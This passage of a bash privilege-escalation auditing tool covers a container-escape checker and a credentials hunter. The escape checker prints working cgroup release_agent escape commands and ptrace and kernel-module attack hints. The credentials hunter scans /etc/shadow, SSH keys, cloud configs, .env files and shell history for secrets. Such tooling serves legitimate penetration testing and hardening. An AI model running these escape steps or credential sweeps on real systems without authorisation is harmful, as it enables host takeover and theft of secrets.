"cap_sys_admin") 117 | print_critical " ${RED}→ Exploitation method:${NC}" 118 | print_critical " ${RED}# Mount host filesystem and access it${NC}" 119 | print_critical " ${RED}mkdir -p /tmp/escape${NC}" 120 | print_critical " ${RED}mount -t proc proc /proc # If not already mounted${NC}" 121 | print_critical " ${RED}cd /tmp/escape${NC}" 122 | print_critical " ${RED}mount -t cgroup -o memory cgroup /tmp/escape${NC}" 123 | print_critical " ${RED}mkdir -p payload${NC}" 124 | print_critical " ${RED}echo 1 > payload/notify_on_release${NC}" 125 | print_critical " ${RED}echo \"$\$\" > payload/release_agent${NC}" 126 | print_critical " ${RED}echo '#!/bin/sh' > /tmp/payload.sh${NC}" 127 | print_critical " ${RED}echo 'ps aux > /tmp/payload-output' >> /tmp/payload.sh${NC}" 128 | print_critical " ${RED}chmod +x /tmp/payload.sh${NC}" 129 | print_critical " ${RED}# Trigger the exploit${NC}" 130 | print_critical " ${RED}sh -c \"echo \\\$\\\$ > payload/cgroup.procs\"${NC}" 131 | ;; 132 | "cap_sys_ptrace") 133 | print_critical " ${RED}→ Exploitation method:${NC}" 134 | print_critical " ${RED}# Use ptrace to attach to host processes${NC}" 135 | print_critical " ${RED}ps -ef # Look for host processes${NC}" 136 | print_critical " ${RED}gdb -p PID # Attach to a process${NC}" 137 | ;; 138 | "cap_sys_module") 139 | print_critical " ${RED}→ Exploitation method:${NC}" 140 | print_critical " ${RED}# Load a kernel module to gain root access${NC}" 141 | print_critical " ${RED}echo 'int init_module() { return 0; }' > module.c${NC}" 142 | print_critical " ${RED}echo 'void cleanup_module() { }' >> module.c${NC}" 143 | print_critical " ${RED}# Compile and insmod the module${NC}" 144 | ;; 145 | esac 146 | fi 147 | done 148 | 149 | if [ $found_dangerous -eq 0 ]; then 150 | print_success "No dangerous capabilities found" 151 | fi 152 | elif [ -r /proc/self/status ]; then 153 | # Alternative method if capsh isn't available 154 | cap_eff=$(grep -i "^CapEff:" /proc/self/status 2>/dev/null | cut -f2) 155 | 156 | if [ -n "$cap_eff" ]; then 157 | # Check for dangerous capabilities using bit positions 158 | # Using a more reliable method that handles 64-bit integers 159 | 160 | found_dangerous=0 161 | 162 | # Map of capability bit positions 163 | # Based on linux/include/uapi/linux/capability.h 164 | declare -A cap_bits 165 | cap_bits["cap_sys_admin"]=21 166 | cap_bits["cap_sys_ptrace"]=19 167 | cap_bits["cap_sys_module"]=16 168 | cap_bits["cap_sys_rawio"]=17 169 | cap_bits["cap_sys_time"]=25 170 | cap_bits["cap_net_admin"]=12 171 | cap_bits["cap_dac_override"]=1 172 | cap_bits["cap_dac_read_search"]=2 173 | cap_bits["cap_chown"]=0 174 | cap_bits["cap_setuid"]=7 175 | cap_bits["cap_setgid"]=6 176 | cap_bits["cap_setfcap"]=31 177 | 178 | # Convert hex to binary for easier bit checking 179 | cap_bin=$(echo "ibase=16; obase=2; ${cap_eff^^}" | bc 2>/dev/null) 180 | 181 | if [ -n "$cap_bin" ]; then 182 | # Pad with leading zeros to ensure proper bit positions 183 | cap_bin=$(printf "%064s" "$cap_bin" | tr ' ' '0') 184 | 185 | for cap in "${!cap_bits[@]}"; do 186 | bit_pos=${cap_bits[$cap]} 187 | # Calculate the correct bit position from the right 188 | check_pos=$((${#cap_bin} - bit_pos - 1)) 189 | 190 | # Check if the bit is set (1) 191 | if [ $check_pos -ge 0 ] && [ "${cap_bin:$check_pos:1}" = "1" ]; then 192 | found_dangerous=1 193 | print_critical "${RED}Container has dangerous capability: $cap${NC}" 194 | print_critical " ${RED}→ Potential impact: ${cap_exploits[$cap]}${NC}" 195 | fi 196 | done 197 | else 198 | # Fallback if bc is not available 199 | print_warning "${YELLOW}Container has capabilities, but can't decode them (bc not available)${NC}" 200 | print_warning " ${YELLOW}→ CapEff: $cap_eff${NC}" 201 | 202 | # Simple pattern-based checks for critical capability bits 203 | if [ "$cap_eff" != "0000000000000000" ] && [ "$cap_eff" != "0" ]; then 204 | # Check for common known patterns that indicate dangerous capabilities 205 | if [[ "$cap_eff" == *"0000001f"* ]] || [[ "$cap_eff" == *"ffffffff"* ]]; then 206 | print_critical "${RED}Container likely has dangerous capabilities (based on capability mask)${NC}" 207 | fi 208 | fi 209 | fi 210 | 211 | if [ $found_dangerous -eq 0 ]; then 212 | print_success "No dangerous capabilities found" 213 | fi 214 | else 215 | print_warning "Could not determine container capabilities" 216 | fi 217 | else 218 | print_warning "Could not determine container capabilities" 219 | fi 220 | } 221 | 222 | # Check for kernel modules that could be used for escape 223 | check_kernel_modules() { 224 | print_subtitle "Kernel Module Escape" 225 | 226 | print_info "Checking for kernel modules that could be exploited..." 227 | 228 | # Check if we're in a container 229 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 230 | print_success "Not running in a container, skipping check" 231 | return 232 | fi 233 | 234 | # Check if we have access to /proc 235 | if [ ! -r /proc/modules ]; then 236 | print_warning "Cannot access /proc/modules, skipping kernel module check" 237 | return 238 | fi 239 | 240 | # Dangerous modules that could be exploited 241 | dangerous_modules=("nf_nat" "xt_MASQUERADE" "overlay" "kvm" "vboxdrv" "vboxnetflt") 242 | 243 | # Check loaded modules 244 | loaded_dangerous=() 245 | 246 | for module in "${dangerous_modules[@]}"; do 247 | if grep -q "^$module " /proc/modules 2>/dev/null; then 248 | loaded_dangerous+=("$module") 249 | fi 250 | done 251 | 252 | # Report findings 253 | if [ ${#loaded_dangerous[@]} -gt 0 ]; then 254 | print_warning "${YELLOW}Found potentially exploitable kernel modules:${NC}" 255 | for module in "${loaded_dangerous[@]}"; do 256 | print_warning " ${YELLOW}→ $module${NC}" 257 | done 258 | 259 | # Specific exploitation advice for some modules 260 | for module in "${loaded_dangerous[@]}"; do 261 | case "$module" in 262 | "overlay") 263 | print_critical " ${RED}→ overlay module exploitation:${NC}" 264 | print_critical " ${RED}This module has had multiple vulnerabilities that allow container escape${NC}" 265 | print_critical " ${RED}Check for CVE-2021-30465, CVE-2021-3178${NC}" 266 | ;; 267 | "nf_nat" | "xt_MASQUERADE") 268 | print_warning " ${YELLOW}→ Networking modules might allow for network manipulation${NC}" 269 | ;; 270 | esac 271 | done 272 | else 273 | print_success "No obviously exploitable kernel modules found" 274 | fi 275 | } 276 | 277 | # Check for cgroup release_agent exploitation method 278 | check_cgroup_escape() { 279 | print_subtitle "CGroup Release_Agent Escape" 280 | 281 | print_info "Checking for cgroup release_agent escape vector..." 282 | 283 | # Check if we're in a container 284 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 285 | print_success "Not running in a container, skipping check" 286 | return 287 | fi 288 | 289 | # Check for CGROUPs mount with memory controller 290 | cgroup_mount=$(grep "cgroup" /proc/mounts | grep -E "memory|devices|freezer" | head -n1) 291 | 292 | if [ -n "$cgroup_mount" ]; then 293 | cgroup_path=$(echo "$cgroup_mount" | awk '{print $2}') 294 | 295 | if [ -d "$cgroup_path" ] && [ -w "$cgroup_path" ]; then 296 | print_critical "${RED}Writable cgroup mount point found: $cgroup_path${NC}" 297 | print_critical " ${RED}→ This might be exploitable for container escape via release_agent${NC}" 298 | print_critical " ${RED}→ Exploitation steps:${NC}" 299 | print_critical " ${RED}mkdir -p $cgroup_path/payload${NC}" 300 | print_critical " ${RED}echo 1 > $cgroup_path/payload/notify_on_release${NC}" 301 | print_critical " ${RED}host_path=\$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)${NC}" 302 | print_critical " ${RED}echo \"\$host_path/cmd\" > $cgroup_path/release_agent${NC}" 303 | print_critical " ${RED}echo '#!/bin/sh' > /cmd${NC}" 304 | print_critical " ${RED}echo 'ps > /output' >> /cmd${NC}" 305 | print_critical " ${RED}chmod +x /cmd${NC}" 306 | print_critical " ${RED}sh -c \"echo \$\$ > $cgroup_path/payload/cgroup.procs\"${NC}" 307 | return 308 | fi 309 | fi 310 | 311 | # Alternative check - try to write to memory subsystem 312 | if [ -d "/sys/fs/cgroup/memory" ]; then 313 | if [ -w "/sys/fs/cgroup/memory" ]; then 314 | print_critical "${RED}Writable cgroup memory subsystem found: /sys/fs/cgroup/memory${NC}" 315 | print_critical " ${RED}→ This might be exploitable for container escape via release_agent${NC}" 316 | return 317 | fi 318 | fi 319 | 320 | print_success "No exploitable cgroup configuration found" 321 | } 322 | 323 | # Check for CVE-2019-5736 (runc vulnerability) 324 | check_runc_exploit() { 325 | print_subtitle "RunC Vulnerability (CVE-2019-5736)" 326 | 327 | print_info "Checking for indicators of CVE-2019-5736 runc vulnerability..." 328 | 329 | # Check if we're in a container 330 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 331 | print_success "Not running in a container, skipping check" 332 | return 333 | fi 334 | 335 | # Check Docker version if available 336 | if command_exists docker; then 337 | docker_version=$(docker --version 2>/dev/null | grep -oP "Docker version \K[0-9\.]+") 338 | 339 | if [ -n "$docker_version" ]; then 340 | if [[ "$(echo "$docker_version" | cut -d. -f1)" -lt "18" ]] || 341 | [[ "$(echo "$docker_version" | cut -d. -f1)" -eq "18" && "$(echo "$docker_version" | cut -d. -f2)" -lt "9" ]]; then 342 | print_critical "${RED}Docker version $docker_version might be vulnerable to CVE-2019-5736${NC}" 343 | print_critical " ${RED}→ Vulnerable versions: Docker < 18.09.2${NC}" 344 | print_critical " ${RED}→ This container escape exploit can overwrite the host runc binary${NC}" 345 | else 346 | print_success "Docker version $docker_version is likely not vulnerable to CVE-2019-5736" 347 | fi 348 | fi 349 | fi 350 | 351 | # Check /proc/self/exe 352 | if [ -w "/proc/self/exe" ]; then 353 | print_critical "${RED}/proc/self/exe is writable, which may indicate vulnerability to CVE-2019-5736${NC}" 354 | fi 355 | 356 | # Check runc binary 357 | if [ -f "/usr/bin/runc" ] || [ -f "/usr/sbin/runc" ]; then 358 | runc_path=$(which runc 2>/dev/null) 359 | 360 | if [ -n "$runc_path" ]; then 361 | runc_version=$(runc --version 2>/dev/null | grep -oP "runc version \K[0-9\.]+") 362 | 363 | if [ -n "$runc_version" ]; then 364 | if [[ "$(echo "$runc_version" | cut -d. -f1)" -lt "1" ]] || 365 | [[ "$(echo "$runc_version" | cut -d. -f1)" -eq "1" && "$(echo "$runc_version" | cut -d. -f2)" -eq "0" && "$(echo "$runc_version" | cut -d. -f3)" -lt "0" ]] || 366 | [[ "$runc_version" == "1.0.0-rc6" ]] || [[ "$runc_version" == "1.0.0-rc5" ]] || [[ "$runc_version" == "1.0.0-rc4" ]] || [[ "$runc_version" == "1.0.0-rc3" ]] || [[ "$runc_version" == "1.0.0-rc2" ]] || [[ "$runc_version" == "1.0.0-rc1" ]]; then 367 | print_critical "${RED}RunC version $runc_version is vulnerable to CVE-2019-5736${NC}" 368 | print_critical " ${RED}→ This container escape exploit can overwrite the host runc binary${NC}" 369 | else 370 | print_success "RunC version $runc_version is not vulnerable to CVE-2019-5736" 371 | fi 372 | else 373 | print_warning "${YELLOW}RunC found but couldn't determine version${NC}" 374 | fi 375 | fi 376 | fi 377 | } 378 | 379 | # Check for access to host namespaces 380 | check_namespace_exposure() { 381 | print_subtitle "Namespace Exposure" 382 | 383 | print_info "Checking for exposure to host namespaces..." 384 | 385 | # Check if we're in a container 386 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then 387 | print_success "Not running in a container, skipping check" 388 | return 389 | fi 390 | 391 | # Check for shared namespaces with host 392 | shared_ns=() 393 | 394 | # Check each namespace type 395 | ns_types=("ipc" "net" "pid" "user" "uts") 396 | 397 | for ns in "${ns_types[@]}"; do 398 | # Check if namespace is shared with host 399 | if [ -L "/proc/1/ns/$ns" ] && [ -L "/proc/self/ns/$ns" ]; then 400 | host_ns=$(readlink "/proc/1/ns/$ns" 2>/dev/null) 401 | container_ns=$(readlink "/proc/self/ns/$ns" 2>/dev/null) 402 | 403 | if [ "$host_ns" = "$container_ns" ]; then 404 | shared_ns+=("$ns") 405 | fi 406 | fi 407 | done 408 | 409 | # Report shared namespaces 410 | if [ ${#shared_ns[@]} -gt 0 ]; then 411 | print_critical "${RED}Container shares namespaces with host:${NC}" 412 | 413 | for ns in "${shared_ns[@]}"; do 414 | print_critical " ${RED}→ $ns namespace${NC}" 415 | 416 | # Specific advice based on namespace type 417 | case "$ns" in 418 | "net") 419 | print_critical " ${RED}→ Network namespace shared: Container can access host network interfaces${NC}" 420 | print_critical " ${RED}→ Can potentially sniff host traffic or access services bound to localhost${NC}" 421 | ;; 422 | "pid") 423 | print_critical " ${RED}→ PID namespace shared: Container can see and potentially interact with host processes${NC}" 424 | print_critical " ${RED}→ Try: ps aux | grep -v 'container\|docker'${NC}" 425 | ;; 426 | "user") 427 | print_critical " ${RED}→ User namespace shared: Container may have same user privileges as host${NC}" 428 | ;; 429 | "ipc") 430 | print_critical " ${RED}→ IPC namespace shared: Container can communicate with host processes via IPC${NC}" 431 | ;; 432 | "uts") 433 | print_critical " ${RED}→ UTS namespace shared: Container shares hostname with host${NC}" 434 | ;; 435 | esac 436 | done 437 | else 438 | print_success "Container appears to have proper namespace isolation" 439 | fi 440 | } 441 | 442 | # Run all container escape checks 443 | container_escape_checks() { 444 | print_title "Container Escape Vectors" 445 | 446 | # Run all container escape checks 447 | check_mounted_filesystems 448 | check_dangerous_capabilities 449 | check_kernel_modules 450 | check_cgroup_escape 451 | check_runc_exploit 452 | check_namespace_exposure 453 | 454 | # Wait for user if wait mode is enabled 455 | wait_for_user 456 | } -------------------------------------------------------------------------------- /modules/credentials/credentials_hunter.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Credentials Hunter 4 | # Description: Search for passwords, API keys, and sensitive information throughout the system 5 | # Author: Jonas Resch 6 | 7 | # Define credential patterns with improved accuracy 8 | # Format: "name|regex_pattern|context_lines|critical" 9 | CREDENTIAL_PATTERNS=( 10 | "AWS Access Key|AKIA[0-9A-Z]{16}|2|1" 11 | "AWS Secret Key|[0-9a-zA-Z/+]{40}|2|1" 12 | "SSH Private Key|-----BEGIN( RSA| OPENSSH| DSA| EC)?\\s?PRIVATE KEY|5|1" 13 | "PGP Private Key|-----BEGIN PGP PRIVATE|5|1" 14 | "Google API Key|AIza[0-9A-Za-z_-]{35}|2|1" 15 | "Google OAuth|[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com|2|1" 16 | "Slack Token|xox[pbar]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32}|2|1" 17 | "GitHub Token|gh[ps]_[0-9a-zA-Z]{36}|2|1" 18 | "Basic Auth|Authorization:\\s*Basic\\s+[a-zA-Z0-9+/=]{5,100}|2|1" 19 | "Bearer Token|Authorization:\\s*Bearer\\s+[a-zA-Z0-9_\\.-]+|2|1" 20 | "API Key|['\"](api[_-]?key|apikey)['\"]:?\\s*['\"]((?!placeholder|example|your-api-key)[a-zA-Z0-9_\\.-]{10,64})['\"]|2|1" 21 | "MongoDB Connection|mongodb(\\+srv)?://[^@]+@[a-zA-Z0-9.-]+|3|1" 22 | "JWT Token|eyJ[a-zA-Z0-9_-]{10,}\\.eyJ[a-zA-Z0-9_-]{10,}\\.[a-zA-Z0-9_-]{10,}|2|1" 23 | "Firebase URL|https?://[a-zA-Z0-9-]+\\.firebaseio\\.com|2|1" 24 | "Azure Storage Key|DefaultEndpointsProtocol=https;AccountName=[^;]+;AccountKey=[a-zA-Z0-9+/=]{40,}|2|1" 25 | "Private Key File|\\.(key|pem|ppk|p12|pfx|jks|keystore)$|0|1" 26 | ) 27 | 28 | # List of common credential file locations - prioritized and more specific 29 | CREDENTIAL_FILES=( 30 | "/etc/shadow" 31 | "/etc/passwd" 32 | "/etc/sudoers" 33 | "/etc/sudoers.d/*" 34 | "/root/.ssh/id_*" 35 | "/root/.aws/credentials" 36 | "/root/.aws/config" 37 | "/home/*/.ssh/id_*" 38 | "/home/*/.ssh/authorized_keys" 39 | "/home/*/.aws/credentials" 40 | "/home/*/.aws/config" 41 | "/home/*/.git-credentials" 42 | "/home/*/.docker/config.json" 43 | "/home/*/.kube/config" 44 | "/home/*/.terraform.d/credentials*" 45 | "/var/www/*/.env" 46 | "/var/www/*/wp-config.php" 47 | "/var/www/*/config.php" 48 | "/var/lib/jenkins/credentials.xml" 49 | "/var/lib/jenkins/secrets/master.key" 50 | "/docker-compose*.y*ml" 51 | "/.env" 52 | "./*.env" 53 | "/tmp/testcreds.sh" # Added for testing 54 | "/tmp/*.sh" # Added for testing 55 | ) 56 | 57 | # Excluded paths for credential searches 58 | EXCLUDED_PATHS=( 59 | "/usr/share" 60 | "/usr/lib" 61 | "/lib" 62 | "/lib64" 63 | "/var/lib" 64 | "/var/cache" 65 | "/var/log" 66 | "/.cursor" 67 | "/.local/share/Trash" 68 | "/.cache" 69 | "/.config/google-chrome" 70 | "/.config/chromium" 71 | "/.config/BraveSoftware" 72 | "/.mozilla" 73 | "/EscalateX" 74 | "/proc" 75 | "/sys" 76 | "/run" 77 | "/dev" 78 | "/var/tmp" 79 | "/tmp" 80 | "node_modules" 81 | "venv" 82 | ".venv" 83 | "__pycache__" 84 | ".npm" 85 | ".gradle" 86 | ".m2" 87 | ) 88 | 89 | # File size threshold in bytes (1MB) 90 | MAX_FILE_SIZE=1048576 91 | 92 | # Build excluded paths argument for find command 93 | build_exclusion_args() { 94 | local excl_args="" 95 | for path in "${EXCLUDED_PATHS[@]}"; do 96 | excl_args="$excl_args -path \"*$path*\" -o " 97 | done 98 | # Remove the trailing "-o " and add "-prune -o " at the end 99 | excl_args=$(echo "$excl_args" | sed 's/ -o $//g') 100 | echo "$excl_args -prune -o" 101 | } 102 | 103 | # Function to mask sensitive data 104 | mask_sensitive_data() { 105 | local input="$1" 106 | # Mask passwords, keys, tokens while preserving variable names 107 | echo "$input" | sed -E 's/(password|token|secret|key|credentials)[=:]["'"'"']?([^"'"'"' :]+)/\1=********/gi' 108 | } 109 | 110 | # Scan for files containing credentials 111 | check_credential_files() { 112 | print_subtitle "Critical Credential Files" 113 | 114 | print_info "Scanning for sensitive credential files..." 115 | 116 | # Process each file pattern from CREDENTIAL_FILES 117 | for file_pattern in "${CREDENTIAL_FILES[@]}"; do 118 | # Handle wildcard patterns 119 | if [[ "$file_pattern" == *"*"* ]]; then 120 | # Use eval to properly expand the glob pattern 121 | eval "files=($file_pattern)" 122 | for file in "${files[@]}"; do 123 | if [ -f "$file" ] && [ -r "$file" ]; then 124 | check_credential_file "$file" 125 | fi 126 | done 127 | else 128 | # Regular file 129 | if [ -f "$file_pattern" ] && [ -r "$file_pattern" ]; then 130 | check_credential_file "$file_pattern" 131 | fi 132 | fi 133 | done 134 | } 135 | 136 | # Helper function to check a single credential file 137 | check_credential_file() { 138 | local file="$1" 139 | 140 | # Skip if file is too large 141 | local file_size=$(stat -c%s "$file" 2>/dev/null || echo "0") 142 | if [ "$file_size" -gt "$MAX_FILE_SIZE" ]; then 143 | print_warning "Skipping large file: $file ($(( file_size / 1024 )) KB)" 144 | return 145 | fi 146 | 147 | # Skip binary files 148 | if file "$file" | grep -q "binary"; then 149 | return 150 | fi 151 | 152 | # Analyze file based on its type 153 | case "$file" in 154 | *"/shadow") 155 | print_critical "Found shadow password file: ${RED}$file${NC}" 156 | grep -v '^[^:]*:[*!]' "$file" 2>/dev/null | head -n 5 | grep ":" | while read -r line; do 157 | user=$(echo "$line" | cut -d: -f1) 158 | print_critical " ${RED}→ User '$user' has password hash${NC}" 159 | done 160 | ;; 161 | 162 | *"/id_rsa"|*"/id_dsa"|*"/id_ecdsa"|*"/id_ed25519") 163 | print_critical "Found SSH private key: ${RED}$file${NC}" 164 | local key_header=$(head -n 1 "$file" 2>/dev/null) 165 | local key_owner=$(stat -c "%U" "$file" 2>/dev/null) 166 | print_critical " ${RED}→ Type: $key_header${NC}" 167 | print_critical " ${RED}→ Owner: $key_owner${NC}" 168 | print_critical " ${RED}→ Permissions: $(stat -c "%a" "$file" 2>/dev/null)${NC}" 169 | ;; 170 | 171 | *"/aws/credentials"|*"/.aws/config") 172 | print_critical "Found AWS credentials: ${RED}$file${NC}" 173 | grep -A 2 -B 1 "aws_" "$file" 2>/dev/null | grep -v "^--$" | while read -r line; do 174 | masked_line=$(mask_sensitive_data "$line") 175 | print_critical " ${RED}→ $masked_line${NC}" 176 | done 177 | ;; 178 | 179 | *"/.kube/config") 180 | print_critical "Found Kubernetes config: ${RED}$file${NC}" 181 | grep -A 1 "token:" "$file" 2>/dev/null | grep -v "^--$" | while read -r line; do 182 | masked_line=$(mask_sensitive_data "$line") 183 | print_critical " ${RED}→ $masked_line${NC}" 184 | done 185 | ;; 186 | 187 | *"wp-config.php"|*"config.php") 188 | print_critical "Found PHP configuration with credentials: ${RED}$file${NC}" 189 | grep -E "(DB_PASSWORD|password|NONCE|SALT|KEY)" "$file" 2>/dev/null | grep -v "//" | head -n 5 | while read -r line; do 190 | masked_line=$(mask_sensitive_data "$line") 191 | print_critical " ${RED}→ $masked_line${NC}" 192 | done 193 | ;; 194 | 195 | *"/.env"|*"docker-compose"*) 196 | print_critical "Found environment file with credentials: ${RED}$file${NC}" 197 | grep -E "(PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)" "$file" 2>/dev/null | grep -v "^#" | head -n 5 | while read -r line; do 198 | masked_line=$(mask_sensitive_data "$line") 199 | print_critical " ${RED}→ $masked_line${NC}" 200 | done 201 | ;; 202 | 203 | "/tmp/testcreds.sh"|*"/tmp/*.sh") 204 | # Special handling for our test file or other scripts 205 | if grep -q -E "AWS_|TOKEN|SECRET|PASSWORD|CREDENTIAL" "$file" 2>/dev/null; then 206 | print_critical "Found credentials in shell script: ${RED}$file${NC}" 207 | grep -E "AWS_|TOKEN|SECRET|PASSWORD|CREDENTIAL" "$file" 2>/dev/null | while read -r line; do 208 | masked_line=$(mask_sensitive_data "$line") 209 | print_critical " ${RED}→ $masked_line${NC}" 210 | done 211 | fi 212 | ;; 213 | 214 | *) 215 | # Generic sensitive file detection 216 | print_warning "Found potential credential file: ${YELLOW}$file${NC}" 217 | grep -E "(password|secret|token|key|credential|user|login)" "$file" 2>/dev/null | grep -v "^#" | head -n 3 | while read -r line; do 218 | masked_line=$(mask_sensitive_data "$line") 219 | print_warning " ${YELLOW}→ $masked_line${NC}" 220 | done 221 | ;; 222 | esac 223 | } 224 | 225 | # Scan for credentials in history files 226 | check_history_files() { 227 | print_subtitle "Shell History Analysis" 228 | 229 | print_info "Checking shell history files for credentials..." 230 | 231 | # History files to check 232 | local history_files=( 233 | "$HOME/.bash_history" 234 | "$HOME/.zsh_history" 235 | "$HOME/.history" 236 | "$HOME/.mysql_history" 237 | "$HOME/.psql_history" 238 | ) 239 | 240 | # Strong patterns for credential commands - more specific to reduce false positives 241 | local history_patterns=( 242 | "[-][-]password=[^ ]+" 243 | "curl.*[-]u .*:.*" 244 | "wget.*[-][-]password=[^ ]+" 245 | "mysql .*[-]p[a-zA-Z0-9]+" 246 | "psql .*[-]W.*password" 247 | "sshpass [-]p [^ ]+" 248 | "git clone https://[^@]+:[^@]+@" 249 | "git push https://[^@]+:[^@]+@" 250 | "export +[A-Z_]*TOKEN=[^ ]+" 251 | "export +[A-Z_]*SECRET=[^ ]+" 252 | "export +[A-Z_]*PASSWORD=[^ ]+" 253 | "export +[A-Z_]*KEY=[^ ]+" 254 | "aws configure set aws_access_key_id" 255 | "aws configure set aws_secret_access_key" 256 | "aws .* --secret" 257 | "openssl .* -pass" 258 | "heroku auth:token" 259 | "gh auth login" 260 | "htpasswd [-]b .* [^ ]+" 261 | ) 262 | 263 | # List of patterns to exclude as false positives 264 | local false_positive_patterns=( 265 | "github.com/[^:]+$" 266 | "gitlab.com/[^:]+$" 267 | "bitbucket.org/[^:]+$" 268 | "password-stdin" 269 | "echo.*password" 270 | "password=" 271 | "SECRET=dummy" 272 | ) 273 | 274 | for file in "${history_files[@]}"; do 275 | if [ -r "$file" ]; then 276 | print_warning "Found history file: ${YELLOW}$file${NC}" 277 | 278 | # Build regex pattern for grep 279 | local pattern=$(echo "${history_patterns[@]}" | tr ' ' '|') 280 | 281 | # Find matching lines 282 | found_creds=0 283 | grep -n -E "$pattern" "$file" 2>/dev/null | head -n 20 | while read -r line; do 284 | line_num=${line%%:*} 285 | line_content=${line#*:} 286 | 287 | # Skip if line is too short or just a command name 288 | if [ ${#line_content} -lt 10 ] || echo "$line_content" | grep -qE "^(curl|wget|mysql|psql|ssh|git)$"; then 289 | continue 290 | fi 291 | 292 | # Check for false positives 293 | is_false_positive=0 294 | for fp in "${false_positive_patterns[@]}"; do 295 | if echo "$line_content" | grep -q "$fp"; then 296 | is_false_positive=1 297 | break 298 | fi 299 | done 300 | 301 | # Skip basic git clones without credentials 302 | if echo "$line_content" | grep -qE "^git clone https://github.com/|^git clone https://gitlab.com/"; then 303 | # Only skip if it doesn't have credentials in the URL 304 | if ! echo "$line_content" | grep -qE "@github.com|@gitlab.com"; then 305 | is_false_positive=1 306 | fi 307 | fi 308 | 309 | if [ $is_false_positive -eq 0 ]; then 310 | # Check if command looks like it has sensitive data 311 | if echo "$line_content" | grep -qiE "(password|token|secret|key|pass|cred|auth|login)"; then 312 | # Mask sensitive information 313 | masked_line=$(mask_sensitive_data "$line_content") 314 | print_warning "Found credential command in history (line $line_num): ${YELLOW}$masked_line${NC}" 315 | found_creds=1 316 | elif echo "$line_content" | grep -qE -- "-p[^ ]|--password="; then 317 | # Commands with password params 318 | masked_line=$(mask_sensitive_data "$line_content") 319 | print_warning "Found credential command in history (line $line_num): ${YELLOW}$masked_line${NC}" 320 | found_creds=1 321 | fi 322 | fi 323 | done 324 | 325 | # Check if any real credentials were found 326 | if [ $found_creds -eq 0 ]; then 327 | print_success "No obvious credentials found in history file." 328 | fi 329 | fi 330 | done 331 | } 332 | 333 | # Scan for database credentials 334 | check_db_credentials() { 335 | print_subtitle "Database Credentials" 336 | 337 | print_info "Searching for database credentials..." 338 | 339 | # Check for MySQL credentials in common locations 340 | local mysql_conf_files=( 341 | "/etc/mysql/my.cnf" 342 | "/etc/my.cnf" 343 | "$HOME/.my.cnf" 344 | "/var/www/*/.my.cnf" 345 | ) 346 | 347 | for pattern in "${mysql_conf_files[@]}"; do 348 | # Handle wildcard patterns 349 | if [[ "$pattern" == *"*"* ]]; then 350 | eval "files=($pattern)" 351 | for file in "${files[@]}"; do 352 | if [ -f "$file" ] && [ -r "$file" ]; then 353 | print_warning "Found MySQL configuration: ${YELLOW}$file${NC}" 354 | grep -E "^[[:space:]]*(user|password|host)" "$file" 2>/dev/null | grep -v "^#" | while read -r line; do 355 | masked_line=$(mask_sensitive_data "$line") 356 | print_critical " ${RED}→ $masked_line${NC}" 357 | done 358 | fi 359 | done 360 | else 361 | if [ -f "$pattern" ] && [ -r "$pattern" ]; then 362 | print_warning "Found MySQL configuration: ${YELLOW}$pattern${NC}" 363 | grep -E "^[[:space:]]*(user|password|host)" "$pattern" 2>/dev/null | grep -v "^#" | while read -r line; do 364 | masked_line=$(mask_sensitive_data "$line") 365 | print_critical " ${RED}→ $masked_line${NC}" 366 | done 367 | fi 368 | fi 369 | done 370 | 371 | # PostgreSQL credentials 372 | local pgpass_files=( 373 | "/var/lib/pgsql/.pgpass" 374 | "/var/lib/postgresql/.pgpass" 375 | "$HOME/.pgpass" 376 | ) 377 | 378 | for file in "${pgpass_files[@]}"; do 379 | if [ -f "$file" ] && [ -r "$file" ]; then 380 | print_critical "Found PostgreSQL password file: ${RED}$file${NC}" 381 | cat "$file" 2>/dev/null | head -n 5 | while read -r line; do 382 | # Format: hostname:port:database:username:password 383 | # Only display hostname, database and username, mask the password 384 | if [ -n "$line" ] && [[ "$line" == *":"* ]]; then 385 | host=$(echo "$line" | cut -d: -f1) 386 | db=$(echo "$line" | cut -d: -f3) 387 | user=$(echo "$line" | cut -d: -f4) 388 | print_critical " ${RED}→ Host: $host, DB: $db, User: $user, Password: ********${NC}" 389 | else 390 | print_critical " ${RED}→ $line${NC}" 391 | fi 392 | done 393 | fi 394 | done 395 | 396 | # MongoDB credentials 397 | find "/etc" -maxdepth 2 -name "mongodb*.conf" 2>/dev/null | while read -r file; do 398 | if [ -r "$file" ]; then 399 | print_warning "Found MongoDB configuration: ${YELLOW}$file${NC}" 400 | grep -E "^[[:space:]]*(auth|security.authorization|setParameter.authenticationMechanisms)" "$file" 2>/dev/null | while read -r line; do 401 | print_warning " ${YELLOW}→ $line${NC}" 402 | done 403 | fi 404 | done 405 | } 406 | 407 | # Scan for cloud credentials 408 | check_cloud_credentials() { 409 | print_subtitle "Cloud Service Credentials" 410 | 411 | print_info "Searching for cloud service credentials..." 412 | 413 | # AWS credentials 414 | if [ -d "$HOME/.aws" ]; then 415 | aws_files=$(find "$HOME/.aws" -type f -name "credentials" -o -name "config" 2>/dev/null) 416 | if [ -n "$aws_files" ]; then 417 | print_critical "Found AWS credential files:" 418 | echo "$aws_files" | while read -r file; do 419 | if [ -r "$file" ]; then 420 | print_critical " ${RED}→ $file${NC}" 421 | # Look for profiles 422 | grep -E "^\[" "$file" 2>/dev/null | while read -r profile; do 423 | print_critical " ${RED}→ Profile: $profile${NC}" 424 | done 425 | # Look for access keys (only show partially masked) 426 | if grep -q "aws_access_key_id" "$file" 2>/dev/null; then 427 | access_keys=$(grep -E "aws_access_key_id" "$file" 2>/dev/null | sed -E 's/.*aws_access_key_id[[:space:]]*=[[:space:]]*([A-Z0-9]+).*/\1/') 428 | for key in $access_keys; do 429 | # Show first 4 and last 4 characters, mask the middle 430 | if [ ${#key} -gt 8 ]; then 431 | start=${key:0:4} 432 | end=${key: -4} 433 | 